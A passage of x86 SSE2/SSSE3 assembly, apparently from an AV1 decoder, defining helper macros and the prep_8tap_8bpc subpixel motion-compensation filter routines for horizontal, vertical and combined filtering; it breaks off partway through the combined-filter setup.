%macro PSHUFB_SUBPEL_H_4b 6 ; dst, src1, src2/mask, tmp1, tmp2, reset_mask
%if notcpuflag(ssse3)
psrlq %1, %2, 16
%elifnidn %1, %2
mova %1, %2
%endif
PSHUFB_SUBPEL_H_4 %1, %3, %4, %5, %6
%endmacro
%macro PALIGNR 4-5 ; dst, src1, src2, shift[, tmp]
%if cpuflag(ssse3)
palignr %1, %2, %3, %4
%else
%if %0 == 4
%assign %%i regnumof%+%1 + 1
%define %%tmp m %+ %%i
%else
%define %%tmp %5
%endif
psrldq %1, %3, %4
pslldq %%tmp, %2, 16-%4
por %1, %%tmp
%endif
%endmacro
%macro PHADDW 4 ; dst, src, pw_1/tmp, load_pw_1
%if cpuflag(ssse3)
phaddw %1, %2
%elifnidn %1, %2
%if %4 == 1
mova %3, [base+pw_1]
%endif
pmaddwd %1, %3
pmaddwd %2, %3
packssdw %1, %2
%else
%if %4 == 1
pmaddwd %1, [base+pw_1]
%else
pmaddwd %1, %3
%endif
packssdw %1, %1
%endif
%endmacro
%macro PMULHRSW_POW2 4 ; dst, src1, src2, shift
%if cpuflag(ssse3)
pmulhrsw %1, %2, %3
%else
paddw %1, %2, %3
psraw %1, %4
%endif
%endmacro
%macro PMULHRSW_8192 3 ; dst, src1, src2
PMULHRSW_POW2 %1, %2, %3, 2
%endmacro
%macro PREP_8TAP_H_LOAD4 5 ; dst, src_memloc, tmp[1-2]
movd %1, [%2+0]
movd %3, [%2+1]
movd %4, [%2+2]
movd %5, [%2+3]
punpckldq %1, %3
punpckldq %4, %5
punpcklqdq %1, %4
%endmacro
%macro PREP_8TAP_H_LOAD 2 ; dst0, src_memloc
%if cpuflag(ssse3)
movu m%1, [%2]
pshufb m2, m%1, m11 ; subpel_h_shufB
pshufb m3, m%1, m9 ; subpel_h_shufC
pshufb m%1, m10 ; subpel_h_shufA
%else
%if ARCH_X86_64
SWAP m12, m5
SWAP m13, m6
SWAP m14, m7
%define %%mx0 m%+%%i
%define %%mx1 m%+%%j
%assign %%i 0
%rep 12
movd %%mx0, [%2+%%i]
%assign %%i %%i+1
%endrep
%assign %%i 0
%rep 6
%assign %%j %%i+1
punpckldq %%mx0, %%mx1
%assign %%i %%i+2
%endrep
%assign %%i 0
%rep 3
%assign %%j %%i+2
punpcklqdq %%mx0, %%mx1
%assign %%i %%i+4
%endrep
SWAP m%1, m0
SWAP m2, m4
SWAP m3, m8
SWAP m5, m12
SWAP m6, m13
SWAP m7, m14
%else
PREP_8TAP_H_LOAD4 m0, %2+0, m1, m4, m7
PREP_8TAP_H_LOAD4 m2, %2+4, m1, m4, m7
PREP_8TAP_H_LOAD4 m3, %2+8, m1, m4, m7
SWAP m%1, m0
%endif
%endif
%endmacro
%macro PREP_8TAP_H 2 ; dst, src_memloc
PREP_8TAP_H_LOAD %1, %2
%if ARCH_X86_64 && notcpuflag(ssse3)
SWAP m8, m1
SWAP m9, m7
%endif
%xdefine mX m%+%1
%assign %%i regnumof%+mX
%define mX m%+%%i
mova m4, m2
PMADDUBSW m4, m5, m1, m7, 1 ; subpel +0 B0
PMADDUBSW m2, m6, m1, m7, 0 ; subpel +4 B4
PMADDUBSW m3, m6, m1, m7, 0 ; subpel +4 C4
PMADDUBSW mX, m5, m1, m7, 0 ; subpel +0 A0
%undef mX
%if ARCH_X86_64 && notcpuflag(ssse3)
SWAP m1, m8
SWAP m7, m9
%endif
paddw m3, m4
paddw m%1, m2
PHADDW m%1, m3, m15, ARCH_X86_32
%if ARCH_X86_64 || cpuflag(ssse3)
PMULHRSW_8192 m%1, m%1, m7
%else
PMULHRSW_8192 m%1, m%1, [base+pw_2]
%endif
%endmacro
%macro PREP_8TAP_HV 4 ; dst, src_memloc, tmp[1-2]
%if cpuflag(ssse3)
movu %1, [%2]
pshufb m2, %1, shufB
pshufb m3, %1, shufC
pshufb %1, shufA
%else
PREP_8TAP_H_LOAD4 %1, %2+0, m1, %3, %4
PREP_8TAP_H_LOAD4 m2, %2+4, m1, %3, %4
PREP_8TAP_H_LOAD4 m3, %2+8, m1, %3, %4
%endif
mova m1, m2
PMADDUBSW m1, subpelh0, %3, %4, 1 ; subpel +0 C0
PMADDUBSW m3, subpelh1, %3, %4, 0 ; subpel +4 B4
PMADDUBSW m2, subpelh1, %3, %4, 0 ; C4
PMADDUBSW %1, subpelh0, %3, %4, 0 ; A0
paddw m1, m3 ; C0+B4
paddw %1, m2 ; A0+C4
PHADDW %1, m1, %3, 1
%endmacro
%macro PREP_8TAP 0
%if ARCH_X86_32
DECLARE_REG_TMP 1, 2
%elif WIN64
DECLARE_REG_TMP 6, 4
%else
DECLARE_REG_TMP 6, 7
%endif
FN prep_8tap, sharp, SHARP, SHARP
FN prep_8tap, sharp_smooth, SHARP, SMOOTH
FN prep_8tap, smooth_sharp, SMOOTH, SHARP
FN prep_8tap, smooth, SMOOTH, SMOOTH
FN prep_8tap, sharp_regular, SHARP, REGULAR
FN prep_8tap, regular_sharp, REGULAR, SHARP
FN prep_8tap, smooth_regular, SMOOTH, REGULAR
FN prep_8tap, regular_smooth, REGULAR, SMOOTH
FN prep_8tap, regular, REGULAR, REGULAR
%if ARCH_X86_32
%define base_reg r2
%define base base_reg-prep%+SUFFIX
%else
%define base_reg r7
%define base 0
%endif
cglobal prep_8tap_8bpc, 1, 9, 0, tmp, src, stride, w, h, mx, my, stride3
%assign org_stack_offset stack_offset
imul mxd, mxm, 0x010101
add mxd, t0d ; 8tap_h, mx, 4tap_h
imul myd, mym, 0x010101
add myd, t1d ; 8tap_v, my, 4tap_v
mov wd, wm
movifnidn srcd, srcm
movifnidn hd, hm
test mxd, 0xf00
jnz .h
test myd, 0xf00
jnz .v
LEA base_reg, prep_ssse3
tzcnt wd, wd
movzx wd, word [base_reg-prep_ssse3+prep_ssse3_table+wq*2]
pxor m4, m4
add wq, base_reg
movifnidn strided, stridem
lea r6, [strideq*3]
%assign stack_offset org_stack_offset
%if WIN64
pop r8
pop r7
%endif
jmp wq
.h:
LEA base_reg, prep%+SUFFIX
test myd, 0xf00
jnz .hv
%if cpuflag(ssse3)
WIN64_SPILL_XMM 12
%else
WIN64_SPILL_XMM 16
%endif
%if ARCH_X86_32
%define strideq r6
mov strideq, stridem
%endif
cmp wd, 4
je .h_w4
tzcnt wd, wd
%if cpuflag(ssse3)
%if ARCH_X86_64
mova m10, [base+subpel_h_shufA]
mova m11, [base+subpel_h_shufB]
mova m9, [base+subpel_h_shufC]
%else
%define m10 [base+subpel_h_shufA]
%define m11 [base+subpel_h_shufB]
%define m9 [base+subpel_h_shufC]
%endif
%endif
shr mxd, 16
sub srcq, 3
movzx wd, word [base_reg+wq*2+table_offset(prep, _8tap_h)]
movq m6, [base_reg+mxq*8+subpel_filters-prep%+SUFFIX]
%if cpuflag(ssse3)
mova m7, [base+pw_8192]
pshufd m5, m6, q0000
pshufd m6, m6, q1111
%else
punpcklbw m6, m6
psraw m6, 8
%if ARCH_X86_64
mova m7, [pw_2]
mova m15, [pw_1]
%else
%define m15 m4
%endif
pshufd m5, m6, q1010
punpckhqdq m6, m6
%endif
add wq, base_reg
jmp wq
.h_w4:
%if ARCH_X86_32
and mxd, 0x7f
%else
movzx mxd, mxb
%endif
dec srcq
movd m4, [base_reg+mxq*8+subpel_filters-prep%+SUFFIX+2]
%if cpuflag(ssse3)
mova m6, [base+pw_8192]
mova m5, [base+subpel_h_shufA]
pshufd m4, m4, q0000
%else
mova m6, [base+pw_2]
%if ARCH_X86_64
mova m14, [pw_1]
%else
%define m14 m7
%endif
punpcklbw m4, m4
psraw m4, 8
punpcklqdq m4, m4
%endif
%if ARCH_X86_64
lea stride3q, [strideq*3]
%endif
.h_w4_loop:
%if cpuflag(ssse3)
movq m0, [srcq+strideq*0] ; 0
movq m1, [srcq+strideq*1] ; 1
%if ARCH_X86_32
lea srcq, [srcq+strideq*2]
movq m2, [srcq+strideq*0] ; 2
movq m3, [srcq+strideq*1] ; 3
lea srcq, [srcq+strideq*2]
%else
movq m2, [srcq+strideq*2] ; 2
movq m3, [srcq+stride3q ] ; 3
lea srcq, [srcq+strideq*4]
%endif
pshufb m0, m5
pshufb m1, m5
pshufb m2, m5
pshufb m3, m5
%elif ARCH_X86_64
movd m0, [srcq+strideq*0+0]
movd m12, [srcq+strideq*0+1]
movd m1, [srcq+strideq*1+0]
movd m5, [srcq+strideq*1+1]
movd m2, [srcq+strideq*2+0]
movd m13, [srcq+strideq*2+1]
movd m3, [srcq+stride3q +0]
movd m7, [srcq+stride3q +1]
punpckldq m0, m12
punpckldq m1, m5
punpckldq m2, m13
punpckldq m3, m7
movd m12, [srcq+strideq*0+2]
movd m8, [srcq+strideq*0+3]
movd m5, [srcq+strideq*1+2]
movd m9, [srcq+strideq*1+3]
movd m13, [srcq+strideq*2+2]
movd m10, [srcq+strideq*2+3]
movd m7, [srcq+stride3q +2]
movd m11, [srcq+stride3q +3]
lea srcq, [srcq+strideq*4]
punpckldq m12, m8
punpckldq m5, m9
punpckldq m13, m10
punpckldq m7, m11
punpcklqdq m0, m12 ; 0
punpcklqdq m1, m5 ; 1
punpcklqdq m2, m13 ; 2
punpcklqdq m3, m7 ; 3
%else
movd m0, [srcq+strideq*0+0]
movd m1, [srcq+strideq*0+1]
movd m2, [srcq+strideq*0+2]
movd m3, [srcq+strideq*0+3]
punpckldq m0, m1
punpckldq m2, m3
punpcklqdq m0, m2 ; 0
movd m1, [srcq+strideq*1+0]
movd m2, [srcq+strideq*1+1]
movd m3, [srcq+strideq*1+2]
movd m7, [srcq+strideq*1+3]
lea srcq, [srcq+strideq*2]
punpckldq m1, m2
punpckldq m3, m7
punpcklqdq m1, m3 ; 1
movd m2, [srcq+strideq*0+0]
movd m3, [srcq+strideq*0+1]
movd m7, [srcq+strideq*0+2]
movd m5, [srcq+strideq*0+3]
punpckldq m2, m3
punpckldq m7, m5
punpcklqdq m2, m7 ; 2
movd m3, [srcq+strideq*1+0]
movd m7, [srcq+strideq*1+1]
punpckldq m3, m7
movd m7, [srcq+strideq*1+2]
movd m5, [srcq+strideq*1+3]
lea srcq, [srcq+strideq*2]
punpckldq m7, m5
punpcklqdq m3, m7 ; 3
%endif
PMADDUBSW m0, m4, m5, m7, 1 ; subpel_filters + 2
PMADDUBSW m1, m4, m5, m7, 0
PMADDUBSW m2, m4, m5, m7, 0
PMADDUBSW m3, m4, m5, m7, 0
PHADDW m0, m1, m14, ARCH_X86_32
PHADDW m2, m3, m14, 0
PMULHRSW_8192 m0, m0, m6
PMULHRSW_8192 m2, m2, m6
mova [tmpq+16*0], m0
mova [tmpq+16*1], m2
add tmpq, 32
sub hd, 4
jg .h_w4_loop
RET
.h_w8:
%if cpuflag(ssse3)
PREP_8TAP_H 0, srcq+strideq*0
PREP_8TAP_H 1, srcq+strideq*1
mova [tmpq+16*0], m0
mova [tmpq+16*1], m1
lea srcq, [srcq+strideq*2]
add tmpq, 32
sub hd, 2
%else
PREP_8TAP_H 0, srcq
mova [tmpq], m0
add srcq, strideq
add tmpq, 16
dec hd
%endif
jg .h_w8
RET
.h_w16:
mov r3, -16*1
jmp .h_start
.h_w32:
mov r3, -16*2
jmp .h_start
.h_w64:
mov r3, -16*4
jmp .h_start
.h_w128:
mov r3, -16*8
.h_start:
sub srcq, r3
mov r5, r3
.h_loop:
%if cpuflag(ssse3)
PREP_8TAP_H 0, srcq+r3+8*0
PREP_8TAP_H 1, srcq+r3+8*1
mova [tmpq+16*0], m0
mova [tmpq+16*1], m1
add tmpq, 32
add r3, 16
%else
PREP_8TAP_H 0, srcq+r3
mova [tmpq], m0
add tmpq, 16
add r3, 8
%endif
jl .h_loop
add srcq, strideq
mov r3, r5
dec hd
jg .h_loop
RET
.v:
LEA base_reg, prep%+SUFFIX
%if ARCH_X86_32
mov mxd, myd
and mxd, 0x7f
%else
%assign stack_offset org_stack_offset
WIN64_SPILL_XMM 16
movzx mxd, myb
%endif
shr myd, 16
cmp hd, 6
cmovs myd, mxd
movq m0, [base_reg+myq*8+subpel_filters-prep%+SUFFIX]
%if cpuflag(ssse3)
mova m2, [base+pw_512]
mova m7, [base+pw_8192]
punpcklwd m0, m0
%else
punpcklbw m0, m0
psraw m0, 8
%endif
%if ARCH_X86_32
%define subpel0 [rsp+mmsize*0]
%define subpel1 [rsp+mmsize*1]
%define subpel2 [rsp+mmsize*2]
%define subpel3 [rsp+mmsize*3]
%assign regs_used 6 ; use r5 (mx) as tmp for stack alignment if needed
%if cpuflag(ssse3)
ALLOC_STACK -mmsize*4
%else
ALLOC_STACK -mmsize*5
%endif
%assign regs_used 7
mov strideq, [rstk+stack_offset+gprsize*3]
pshufd m1, m0, q0000
mova subpel0, m1
pshufd m1, m0, q1111
mova subpel1, m1
lea r5, [strideq*3]
pshufd m1, m0, q2222
mova subpel2, m1
pshufd m1, m0, q3333
mova subpel3, m1
sub srcq, r5
%else
%define subpel0 m8
%define subpel1 m9
%define subpel2 m10
%define subpel3 m11
pshufd m8, m0, q0000
pshufd m9, m0, q1111
lea stride3q, [strideq*3]
pshufd m10, m0, q2222
pshufd m11, m0, q3333
sub srcq, stride3q
cmp wd, 8
jns .v_w8
%endif
.v_w4:
%if notcpuflag(ssse3)
pxor m6, m6
%if ARCH_X86_64
mova m7, [base+pw_2]
%endif
%endif
%if ARCH_X86_32
%if STACK_ALIGNMENT < mmsize
%define srcm [esp+stack_size+gprsize*1]
%define tmpm [esp+stack_size+gprsize*2]
%endif
mov tmpm, tmpq
mov srcm, srcq
lea r5d, [wq - 4] ; horizontal loop
shl r5d, (16 - 2) ; (wq / 4) << 16
mov r5w, hw
.v_w4_loop0:
%endif
movd m1, [srcq+strideq*0]
movd m0, [srcq+strideq*1]
%if ARCH_X86_32
lea srcq, [srcq+strideq*2]
movd m2, [srcq+strideq*0]
movd m4, [srcq+strideq*1]
lea srcq, [srcq+strideq*2]
movd m3, [srcq+strideq*0]
movd m5, [srcq+strideq*1]
lea srcq, [srcq+strideq*2]
%else
movd m2, [srcq+strideq*2]
add srcq, stride3q
movd m4, [srcq+strideq*0]
movd m3, [srcq+strideq*1]
movd m5, [srcq+strideq*2]
add srcq, stride3q
%endif
punpckldq m1, m0 ; 0 1
punpckldq m0, m2 ; 1 2
punpcklbw m1, m0 ; 01 12
movd m0, [srcq+strideq*0]
punpckldq m2, m4 ; 2 3
punpckldq m4, m3 ; 3 4
punpckldq m3, m5 ; 4 5
punpckldq m5, m0 ; 5 6
punpcklbw m2, m4 ; 23 34
punpcklbw m3, m5 ; 45 56
.v_w4_loop:
%if ARCH_X86_32 && notcpuflag(ssse3)
mova m7, subpel0
%define subpel0 m7
%endif
mova m5, m1
PMADDUBSW m5, subpel0, m6, m4, 0 ; a0 b0
%if ARCH_X86_32 && notcpuflag(ssse3)
mova m7, subpel1
%define subpel1 m7
%endif
mova m1, m2
PMADDUBSW m2, subpel1, m6, m4, 0 ; a1 b1
paddw m5, m2
%if ARCH_X86_32 && notcpuflag(ssse3)
mova m7, subpel2
%define subpel2 m7
%endif
mova m2, m3
PMADDUBSW m3, subpel2, m6, m4, 0 ; a2 b2
movd m4, [srcq+strideq*1]
lea srcq, [srcq+strideq*2]
paddw m5, m3
punpckldq m3, m0, m4 ; 6 7 _ _
movd m0, [srcq+strideq*0]
punpckldq m4, m0 ; 7 8 _ _
punpcklbw m3, m4 ; 67 78
%if notcpuflag(ssse3)
%if ARCH_X86_64
SWAP m12, m0
%else
mova [esp+mmsize*4], m0
mova m7, subpel3
%define subpel3 m7
%endif
%endif
mova m4, m3
PMADDUBSW m4, subpel3, m6, m0, 0 ; a3 b3
paddw m5, m4
%if ARCH_X86_64 || cpuflag(ssse3)
%if notcpuflag(ssse3)
SWAP m0, m12
%endif
PMULHRSW_8192 m5, m5, m7
%else
mova m0, [esp+mmsize*4]
PMULHRSW_8192 m5, m5, [base+pw_2]
%endif
movq [tmpq+wq*0], m5
movhps [tmpq+wq*2], m5
lea tmpq, [tmpq+wq*4]
sub hd, 2
jg .v_w4_loop
%if ARCH_X86_32
mov srcq, srcm
mov tmpq, tmpm
movzx hd, r5w
add srcq, 4
add tmpq, 8
mov srcm, srcq
mov tmpm, tmpq
sub r5d, 1<<16 ; horizontal--
jg .v_w4_loop0
%endif
RET
%if ARCH_X86_64
.v_w8:
lea r6d, [wq*8-64]
mov r5, srcq
mov r8, tmpq
lea r6d, [hq+r6*4]
.v_w8_loop0:
movq m1, [srcq+strideq*0]
movq m2, [srcq+strideq*1]
movq m3, [srcq+strideq*2]
add srcq, stride3q
movq m4, [srcq+strideq*0]
movq m5, [srcq+strideq*1]
movq m6, [srcq+strideq*2]
add srcq, stride3q
movq m0, [srcq+strideq*0]
punpcklbw m1, m2 ; 01
punpcklbw m2, m3 ; 12
punpcklbw m3, m4 ; 23
punpcklbw m4, m5 ; 34
punpcklbw m5, m6 ; 45
punpcklbw m6, m0 ; 56
.v_w8_loop:
movq m13, [srcq+strideq*1]
lea srcq, [srcq+strideq*2]
%if cpuflag(ssse3)
pmaddubsw m14, m1, subpel0 ; a0
pmaddubsw m15, m2, subpel0 ; b0
mova m1, m3
mova m2, m4
pmaddubsw m3, subpel1 ; a1
pmaddubsw m4, subpel1 ; b1
paddw m14, m3
paddw m15, m4
mova m3, m5
mova m4, m6
pmaddubsw m5, subpel2 ; a2
pmaddubsw m6, subpel2 ; b2
punpcklbw m12, m0, m13 ; 67
movq m0, [srcq+strideq*0]
punpcklbw m13, m0 ; 78
paddw m14, m5
mova m5, m12
pmaddubsw m12, subpel3 ; a3
paddw m15, m6
mova m6, m13
pmaddubsw m13, subpel3 ; b3
paddw m14, m12
paddw m15, m13
pmulhrsw m14, m7
pmulhrsw m15, m7
%else
mova m14, m1
PMADDUBSW m14, subpel0, m7, m12, 1 ; a0
mova m15, m2
PMADDUBSW m15, subpel0, m7, m12, 0 ; b0
mova m1, m3
PMADDUBSW m3, subpel1, m7, m12, 0 ; a1
mova m2, m4
PMADDUBSW m4, subpel1, m7, m12, 0 ; b1
paddw m14, m3
mova m3, m5
PMADDUBSW m5, subpel2, m7, m12, 0 ; a2
paddw m15, m4
mova m4, m6
PMADDUBSW m6, subpel2, m7, m12, 0 ; b2
paddw m15, m6
punpcklbw m12, m0, m13 ; 67
movq m0, [srcq+strideq*0]
punpcklbw m13, m0 ; 78
paddw m14, m5
mova m5, m12
PMADDUBSW m12, subpel3, m7, m6, 0 ; a3
paddw m14, m12
mova m6, m13
PMADDUBSW m13, subpel3, m7, m12, 0 ; b3
paddw m15, m13
PMULHRSW_8192 m14, m14, [base+pw_2]
PMULHRSW_8192 m15, m15, [base+pw_2]
%endif
movu [tmpq+wq*0], m14
movu [tmpq+wq*2], m15
lea tmpq, [tmpq+wq*4]
sub hd, 2
jg .v_w8_loop
add r5, 8
add r8, 16
movzx hd, r6b
mov srcq, r5
mov tmpq, r8
sub r6d, 1<<8
jg .v_w8_loop0
RET
%endif ;ARCH_X86_64
%undef subpel0
%undef subpel1
%undef subpel2
%undef subpel3
.hv:
%assign stack_offset org_stack_offset
cmp wd, 4
jg .hv_w8
and mxd, 0x7f
movd m1, [base_reg+mxq*8+subpel_filters-prep%+SUFFIX+2]
%if ARCH_X86_32
mov mxd, myd
shr myd, 16
and mxd, 0x7f
cmp hd, 6
cmovs myd, mxd
movq m0, [base_reg+myq*8+subpel_filters-prep%+SUFFIX]
mov strideq, stridem
%assign regs_used 6
ALLOC_STACK -mmsize*14
%assign regs_used 7
lea r5, [strideq*3+1]
sub srcq, r5
%define subpelv0 [rsp+mmsize*0]
%define subpelv1 [rsp+mmsize*1]
%define subpelv2 [rsp+mmsize*2]
%define subpelv3 [rsp+mmsize*3]
punpcklbw m0, m0
psraw m0, 8
pshufd m6, m0, q0000
mova subpelv0, m6
pshufd m6, m0, q1111
mova subpelv1, m6
pshufd m6, m0, q2222
mova subpelv2, m6
pshufd m6, m0, q3333
mova subpelv3, m6
%else
movzx mxd, myb
shr myd, 16
cmp hd, 6
cmovs myd, mxd
movq m0, [base_reg+myq*8+subpel_filters-prep%+SUFFIX]
%if cpuflag(ssse3)
ALLOC_STACK mmsize*14, 14
%else
ALLOC_STACK mmsize*14, 16
%endif
lea stride3q, [strideq*3]
sub srcq, stride3q
dec srcq
%define subpelv0 m10
%define subpelv1 m11
%define subpelv2 m12
%define subpelv3 m13
punpcklbw m0, m0
psraw m0, 8
%if cpuflag(ssse3)
mova m8, [base+pw_8192]
%else
mova m8, [base+pw_2]
%endif
mova m9, [base+pd_32]
pshufd m10, m0, q0000
pshufd m11, m0, q1111
pshufd m12, m0, q2222
pshufd m13, m0, q3333
%endif
pshufd m7, m1, q0000
%if notcpuflag(ssse3)
punpcklbw m7, m7
psraw m7, 8
%endif
%define hv4_line_0_0 4
%define hv4_line_0_1 5
%define hv4_line_0_2 6
%define hv4_line_0_3 7
%define hv4_line_0_4 8
%define hv4_line_0_5 9
%define hv4_line_1_0 10
%define hv4_line_1_1 11
%define hv4_line_1_2 12
%define hv4_line_1_3 13
%if ARCH_X86_32
%if cpuflag(ssse3)
%define w8192reg [base+pw_8192]
%else
%define w8192reg [base+pw_2]
%endif
%define d32reg [base+pd_32]
%else
%define w8192reg m8
%define d32reg m9
%endif
; lower shuffle 0 1 2 3 4
%if cpuflag(ssse3)
mova m6, [base+subpel_h_shuf4]
%else
%if ARCH_X86_64
mova m15, [pw_1]
%else
%define m15 m1
%endif
%endif
movq m5, [srcq+strideq*0] ; 0 _ _ _
movhps m5, [srcq+strideq*1] ; 0 _ 1 _
%if ARCH_X86_32
lea srcq, [srcq+strideq*2]
movq m4, [srcq+strideq*0] ; 2 _ _ _
movhps m4, [srcq+strideq*1] ; 2 _ 3 _
lea srcq, [srcq+strideq*2]
%else
movq m4, [srcq+strideq*2] ; 2 _ _ _
movhps m4, [srcq+stride3q ] ; 2 _ 3 _
lea srcq, [srcq+strideq*4]
%endif
PSHUFB_SUBPEL_H_4a m2, m5, m6, m1, m3, 1 ;H subpel_h_shuf4 0~1~
PSHUFB_SUBPEL_H_4a m0, m4, m6, m1, m3, 0 ;H subpel_h_shuf4 2~3~
PMADDUBSW m2, m7, m1, m3, 1 ;H subpel_filters
PMADDUBSW m0, m7, m1, m3, 0 ;H subpel_filters
PHADDW m2, m0, m15, ARCH_X86_32 ;H 0 1 2 3
PMULHRSW_8192 m2, m2, w8192reg
SAVELINE_W4 m2, 2, 0
; upper shuffle 2 3 4 5 6
%if cpuflag(ssse3)
mova m6, [base+subpel_h_shuf4+16]
%endif
PSHUFB_SUBPEL_H_4b m2, m5, m6, m1, m3, 0 ;H subpel_h_shuf4 0~1~
PSHUFB_SUBPEL_H_4b m0, m4, m6, m1, m3, 0 ;H subpel_h_shuf4 2~3~
PMADDUBSW m2, m7, m1, m3, 1 ;H subpel_filters
PMADDUBSW m0, m7, m1, m3, 0 ;H subpel_filters
PHADDW m2, m0, m15, ARCH_X86_32 ;H 0 1 2 3
PMULHRSW_8192 m2, m2, w8192reg
%if notcpuflag(ssse3)
%if ARCH_X86_64
SWAP m14, m2
%else
mova [esp+mmsize*4], m2
%endif
%endif
; lower shuffle
%if cpuflag(ssse3)
mova m6, [base+subpel_h_shuf4]
%endif
movq m5, [srcq+strideq*0] ; 4 _ _ _
movhps m5, [srcq+strideq*1] ; 4 _ 5 _
%if ARCH_X86_32
lea srcq, [srcq+strideq*2]
movq m4, [srcq+strideq*0] ; 6 _ _ _
add srcq, strideq
%else
movq m4, [srcq+strideq*2] ; 6 _ _ _
add srcq, stride3q
%endif
PSHUFB_SUBPEL_H_4a m3, m5, m6, m1, m2, 0 ;H subpel_h_shuf4 4~5~
PSHUFB_SUBPEL_H_4a m0, m4, m6, m1, m2, 0 ;H subpel_h_shuf4 6~6~
PMADDUBSW m3, m7, m1, m2, 1 ;H subpel_filters
PMADDUBSW m0, m7, m1, m2, 0 ;H subpel_filters
PHADDW m3, m0, m15, ARCH_X86_32 ;H 4 5 6 7
PMULHRSW_8192 m3, m3, w8192reg
SAVELINE_W4 m3, 3, 0
; upper shuffle
%if cpuflag(ssse3)
mova m6, [base+subpel_h_shuf4+16]
%endif
PSHUFB_SUBPEL_H_4b m3, m5, m6, m1, m2, 0 ;H subpel_h_shuf4 4~5~
PSHUFB_SUBPEL_H_4b m0, m4, m6, m1, m2, 0 ;H subpel_h_shuf4 6~6~
PMADDUBSW m3, m7, m1, m2, 1 ;H subpel_filters
PMADDUBSW m0, m7, m1, m2, 0 ;H subpel_filters
PHADDW m3, m0, m15, ARCH_X86_32 ;H 4 5 6 7
PMULHRSW_8192 m3, m3, w8192reg
%if notcpuflag(ssse3)
%if ARCH_X86_64
SWAP m2, m14
%else
mova m2, [esp+mmsize*4]
%endif
%endif
;process high
PALIGNR m4, m3, m2, 4;V 1 2 3 4
punpcklwd m1, m2, m4 ; V 01 12
punpckhwd m2, m4 ; V 23 34
pshufd m0, m3, q2121;V 5 6 5 6
punpcklwd m3, m0 ; V 45 56
SAVELINE_W4 m0, 0, 1
SAVELINE_W4 m1, 1, 1
SAVELINE_W4 m2, 2, 1
SAVELINE_W4 m3, 3, 1
;process low
RESTORELINE_W4 m2, 2, 0
RESTORELINE_W4 m3, 3, 0
PALIGNR m4, m3, m2, 4;V 1 2 3 4
punpcklwd m1, m2, m4 ; V 01 12
punpckhwd m2, m4 ; V 23 34
pshufd m0, m3, q2121;V 5 6 5 6
punpcklwd m3, m0 ; V 45 56
.hv_w4_loop:
;process low
pmaddwd m5, m1, subpelv0 ; V a0 b0
mova m1, m2
pmaddwd m2, subpelv1; V a1 b1
paddd m5, m2
mova m2, m3
pmaddwd m3, subpelv2; V a2 b2
paddd m5, m3
%if notcpuflag(ssse3)
%if ARCH_X86_64
SWAP m14, m5
%else
mova [esp+mmsize*4], m5
%define m15 m3
%endif
%endif
%if cpuflag(ssse3)
mova m6, [base+subpel_h_shuf4]
%endif
movq m4, [srcq+strideq*0] ; 7
movhps m4, [srcq+strideq*1] ; 7 _ 8 _
PSHUFB_SUBPEL_H_4a m4, m4, m6, m3, m5, 0 ; H subpel_h_shuf4 7~8~
PMADDUBSW m4, m7, m3, m5, 1 ; H subpel_filters
PHADDW m4, m4, m15, ARCH_X86_32 ; H 7878
PMULHRSW_8192 m4, m4, w8192reg
PALIGNR m3, m4, m0, 12, m5 ; 6787
mova m0, m4
punpcklwd m3, m4 ; 67 78
pmaddwd m4, m3, subpelv3; a3 b3
%if notcpuflag(ssse3)
%if ARCH_X86_64
SWAP m5, m14
%else
mova m5, [esp+mmsize*4]
%endif
%endif
paddd m5, d32reg ; pd_32
paddd m5, m4
psrad m5, 6
SAVELINE_W4 m0, 0, 0
SAVELINE_W4 m1, 1, 0
SAVELINE_W4 m2, 2, 0
SAVELINE_W4 m3, 3, 0
SAVELINE_W4 m5, 5, 0
;process high
RESTORELINE_W4 m0, 0, 1
RESTORELINE_W4 m1, 1, 1
RESTORELINE_W4 m2, 2, 1
RESTORELINE_W4 m3, 3, 1
pmaddwd m5, m1, subpelv0; V a0 b0
mova m1, m2
pmaddwd m2, subpelv1; V a1 b1
paddd m5, m2
mova m2, m3
pmaddwd m3, subpelv2; V a2 b2
paddd m5, m3
%if notcpuflag(ssse3)
%if ARCH_X86_64
SWAP m14, m5
%else
mova [esp+0xA0], m5
%endif
%endif
%if cpuflag(ssse3)
mova m6, [base+subpel_h_shuf4+16]
%endif
movq m4, [srcq+strideq*0] ; 7
movhps m4, [srcq+strideq*1] ; 7 _ 8 _
PSHUFB_SUBPEL_H_4b m4, m4, m6, m3, m5, 0 ; H subpel_h_shuf4 7~8~
PMADDUBSW m4, m7, m3, m5, 1 ; H subpel_filters
PHADDW m4, m4, m15, ARCH_X86_32 ; H 7878
PMULHRSW_8192 m4, m4, w8192reg
PALIGNR m3, m4, m0, 12, m5 ; 6787
mova m0, m4
punpcklwd m3, m4 ; 67 78
pmaddwd m4, m3, subpelv3; a3 b3
%if notcpuflag(ssse3)
%if ARCH_X86_64
SWAP m5, m14
%else
mova m5, [esp+0xA0]
%endif
%endif
paddd m5, d32reg ; pd_32
paddd m5, m4
psrad m4, m5, 6
RESTORELINE_W4 m5, 5, 0
packssdw m5, m4
pshufd m5, m5, q3120
movu [tmpq], m5
lea srcq, [srcq+strideq*2]
add tmpq, 16
sub hd, 2
SAVELINE_W4 m0, 0, 1
SAVELINE_W4 m1, 1, 1
SAVELINE_W4 m2, 2, 1
SAVELINE_W4 m3, 3, 1
RESTORELINE_W4 m0, 0, 0
RESTORELINE_W4 m1, 1, 0
RESTORELINE_W4 m2, 2, 0
RESTORELINE_W4 m3, 3, 0
jg .hv_w4_loop
RET
%undef subpelv0
%undef subpelv1
%undef subpelv2
%undef subpelv3
.hv_w8:
%assign stack_offset org_stack_offset
%define hv8_line_1 0
%define hv8_line_2 1
%define hv8_line_3 2
%define hv8_line_4 3
%define hv8_line_6 4
shr mxd, 16
%if ARCH_X86_32
%define subpelh0 [rsp+mmsize*5]
%define subpelh1 [rsp+mmsize*6]
%define subpelv0 [rsp+mmsize*7]
%define subpelv1 [rsp+mmsize*8]
%define subpelv2 [rsp+mmsize*9]
%define subpelv3 [rsp+mmsize*10]
%define accuv0 [rsp+mmsize*11]
%define accuv1 [rsp+mmsize*12]
movq m1, [base_reg+mxq*8+subpel_filters-prep%+SUFFIX]
mov mxd, myd
shr myd, 16
and mxd, 0x7f
cmp hd, 6
cmovs myd, mxd
movq m5, [base_reg+myq*8+subpel_filters-prep%+SUFFIX]
mov strideq, stridem
%assign regs_used 6
ALLOC_STACK -mmsize*14
%assign regs_used 7
%if STACK_ALIGNMENT < mmsize
%define tmpm [rsp+mmsize*13+gprsize*1]
%define srcm [rsp+mmsize*13+gprsize*2]
%define stridem [rsp+mmsize*13+gprsize*3]
